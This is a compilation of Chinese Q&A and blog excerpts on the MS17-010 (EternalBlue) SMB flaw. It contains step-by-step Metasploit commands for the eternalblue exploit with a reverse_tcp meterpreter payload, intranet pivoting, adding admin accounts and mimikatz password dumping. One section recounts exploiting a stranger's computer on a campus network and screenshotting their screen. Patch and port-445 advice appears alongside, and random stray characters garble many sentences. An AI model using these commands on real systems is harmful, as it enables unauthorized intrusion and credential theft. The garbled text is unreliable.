① ms17010漏洞在17年發現嗎
ms17010漏洞是在17年發現的。ms17010漏洞即永恆之藍，是指2017年4月渣團讓14日晚，黑客團體Shadow Brokers（影子經紀人）公布的一大批網路攻擊工具，其中包含永恆之藍工具。永恆之藍利用Windows系統的SMB漏洞可以獲取系統最高或侍許可權如局。永恆之藍漏洞是方程式組織在其漏洞利用框架中一個針對SMB服務進行攻擊的漏洞，該漏洞導致攻擊者在目標系統上可以執行任意代碼。
② ms17010漏洞利用msf | 2019-03-27 ms070-
0x01 實驗環境
攻孫鄭擊機：kali linux
ip:10.10.10.131
目標機：windows 2008 R2
ip:10.10.10.132
0x02 配置exploit
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > set rhost 10.10.10.132
rhost => 10.10.10.132
查看選項
msf exploit(ms17_010_eternalblue) >世橘 show options
設置目標機的IP，其他選項默搜凱團認就可以；
注意：選項中說明了此exploit對應的目標系統，所以並不是具有該漏洞的系統都能利用此exploit；
0x03 配置payload
payload只需要配置監聽返回會話的IP；
msf exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(ms17_010_eternalblue) > set lhost 10.10.10.131
lhost => 10.10.10.131
0x04 開始攻擊
警告：攻擊過程可能導致目標系統宕機重啟，謹慎操作！
msf exploit(ms17_010_eternalblue) > exploit
成功獲得session。
shell 進入主機操作
③ MS17010補丁不知道選哪個
可以來點擊開始菜單，控制面自板，卸載程序，顯示更新補丁。
不同版本可以搜索補丁
winxp特別補丁KB4012598
win2003特別補丁KB4012598
win2008R2補丁 KB4012212、KB4012215
win7補丁 KB4012212、KB4012215
④ ms17010漏洞利用windows什麼服務
SMB服務。
在微軟的MS17-010中被修復是在Windows的SMB服務處理SMBv1請求時發生的漏洞，這個漏洞導致攻擊者在目標系統上可以執行任意代碼。
Windows操作系統是其中的佼佼者，也是美國微軟公司推出的一款操作系統。該系統從1985年誕生到現在，經過多年的發展完善，相對比較成熟穩定，是當前個人計算機的主流操作系統。
⑤ MSF利用ms17_010實驗
該漏洞具有非常大的危害性，這個漏洞導致攻擊者在目虛巧標系統上可以執行任意代，包括格式化電腦刪除重要的內容。
當然漏洞非常的古老了，防範只需要打個補丁，再不濟關閉445埠。
首先打開終端輸入
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
安裝成功就能指令msfconsole來使用了
MSF功能不止汪首有利用ms17010，所以我們要選擇對應的模塊，其中利用到
auxiliary/scanner/smb/smb_ms17_010掃描工具模塊
exploit/windows/smb/ms17_010_eternalblue利用工具模塊
由於我實現環境是在校園網環境中，所以也就對校園網進行網段的掃描，我進入是我們的校園無線網路，連接不需要獲得認證上網功能就可以實現漏洞攻擊。
首先是查看自己IP
再利用掃描工具來對網段任何的B段進行掃描
掃出結果10.120.65.230IP存在漏洞風險，使用工具進行攻擊差陵鍵
其中rhost為目標主機ip，lhost為自身監聽ip
顯示攻擊成功了，這個時候，已經可以對被攻擊者為所欲為了
打中後可以輸入help來查看能執行的操作
screenshot來進行截圖屏幕
發現在打游戲，偷偷的不要打擾到別人哦，上傳一個txt提示他存在漏洞需要修復打補丁了呢，實驗成功，點到為止哦。
⑥ 內網滲透之ms17-010
在內網滲透時，通常掛上代理後。在內網首先會打啵ms17-010。在實戰中，使用msf的ms17-010模塊，數次沒有反彈成功。基於此，到底如何成功利用ms17-010
在msf成功接收session之後，添加路由
然後使用ms17-010相關的模塊進行探測是否存在該漏洞。
嘗試利用
LHOST配置為公網IP
可以看到success。漏洞是可以利用的，但始終沒有session。不知道什麼原因。
參考資料： 利用公網Msf+MS17010跨網段攻擊內網
筆者在本地搭建環境，也是同樣的結果。嘗試更改payload為
bind_tcp攻擊者去連接，容易被防火牆和殺毒發現
可以成功生成session，但並不穩定，且在run的過程中非常容易導致本來的session died
在實際使用msf的ms17_010_eternalblue模塊時，筆者觀察到有幾個弊端。
1.session 很容易died
2.ms17_010_eternalblue模塊利用起來非常耗時
3.無法利用成功
有大佬推薦使用原始的fb.py。但配置起來感覺麻煩一些。
所以。筆者從i春秋上找到一個輕便的方程式漏洞利用工具。
參考資料： 萌新初試MS17-010方程式漏洞
工具使用起來很簡單。只需要msfvenom生成一個x64或x86的dll文件，替換該工具下的x64.dll或x86.dll 。再依次點擊Eternalblue、Doublepulsar 的Attack即可。在Attack的時候，調用x64.dll動態鏈接庫，反彈到公網IP。原理和fb.py一樣。
筆者通過ew代理進內網後，在跳板機上上傳了方程式漏洞利用工具、網安永恆之藍檢測工具。兩者結合，威力巨大。成功利用ms17-010
對於windows server 2008 ，msfvenom生成x64.dll文件
msf配置
將該x64.dll替換到方程式利用工具下面。
只需要更換目標的IP，就可以獲取session。
對於windows server 2003 ，msfvenom生成x86.dll文件
msf配置
進一步利用的一些命令
實際測試發現這種session非常穩定。不會輕易go die
實際測試server 2003的ms17-010時，有時候多次執行後msf就接收不到session，而且ms17-010利用時，脆弱的server 2003非常容易藍屏。
所以筆者選擇一種穩定可靠一些的辦法。
先通過ms17_010_commend模塊執行系統命令添加用戶至管理員。再指定SMBPass和SMBUser來建立windows可訪問命名管道[accessible named pipe]
參考資料 Metasploit 「永恆之藍」兩種模塊的利弊
system的許可權可以直接激活guest用戶添加管理員組。
注意：使用ms17_010_psexec需要指定管理員的用戶名、密碼，否則沒有session
同樣的操作，載入mimikatz，讀取管理員密碼。
⑦ 如何查看ms17010 是否已安裝補丁
1、在電腦上按「windows鍵」+R快速打開「運行」，輸入「winver」。
⑧ fscan默認掃描埠
快捷、笑棚簡單的安全漏洞掃描工具fscan
https://github.com/shadow1ng/fscan fscan是一款用go語言編寫的開源工具，一款內網綜合掃描工具，方便一鍵自動化、全方位銷升衫漏掃掃描。
支持主機存活探測、
埠掃描、
常見服務的爆破、
ms17010、
redis 批量寫公虧腔鑰、
計劃任務反彈 shell、
讀取 win 網卡信息、
web 指紋識別、
web 漏洞掃描、
netbios 探測、
域控識別等功能
主要功能
1.信息搜集:
存活探測(icmp)
埠掃描
2.爆破功能:
各類服務爆破(ssh、smb等)
資料庫密碼爆破(mysql、mssql、redis、psql等)
3.系統信息、漏洞掃描:
netbios探測、域控識別
獲取目標網卡信息
高危漏洞掃描(ms17010等)
4.Web探測功能:
webtitle探測
web指紋識別(常見cms、oa框架等)
web漏洞掃描(weblogic、st2等,支持xray的poc)
5.漏洞利用:
redis寫公鑰或寫計劃任務
ssh命令執行
⑨ 如何看電腦有沒有ms17010
上微軟官網搜索MS17-010漏洞的KB代碼，不同的Windows系統對應的KB代碼是不同的。
然後點擊控制面回板答-程序與安全-卸載程序，然後點擊右邊的「查看已安裝的更新」，在右上角的搜索框內輸入那個KB代碼之後，如果有的話會顯示出來，沒有的話請去安裝。
⑩ ms17010漏洞的簡單利用
（第一次在發表文章，沒啥經驗，分享一些學習經驗。大佬們多多包涵，也希望大家能夠指出我的錯誤。）
靶機：windows7 x64 IP：192.168.1.5
攻擊機：Kali Rolling (2019.3) x64 IP：192.168.1.3
兩台主機在同一網段內；win7關閉防火牆並且開啟445埠。
1、使用ipconfig/ifconfig分別查看win7和kali的ip。
2、打開msf工具
每次開啟都會有不同的界面
3、使用search命令搜索ms17_010
4、選擇模塊和設置條件
使用use來選擇第三個模塊，可以直接 use 2，也可以打全
然後用set來設置靶機IP set rhost 192.168.1.5
設置本機IP set lhost 192.168.1.3
設置監聽埠 set lport 8888 不設置則默認4444埠
設置payload set payload windows/x64/meterpreter/reverse_tcp
還有另外一個payload能用於本實驗，具體可以 show payloads 查看
最後，可以使用show options檢查所有信息
5、開始滲透 run
稍等片刻 看到win則成功創建會話
6、成功之後，可以開啟Windows7的攝像頭，截圖等等
具體可以用help查看
1、關閉445埠
2、打開防火牆，安裝安全軟體
3、安裝對應補丁，這里就不放鏈接了
關閉445埠的方法：
1）打開控制面板----Windows防火牆----高級設置
2）點擊新建規則，設置埠號的規則並且命名（如圖）
msf工具雖然強大，但只能用於已知的並且已提交模塊的漏洞。要理解漏洞原理，理解如何使用漏洞，甚至自己挖洞才能做到真正的去攻擊。而不是簡單的使用工具use和set。
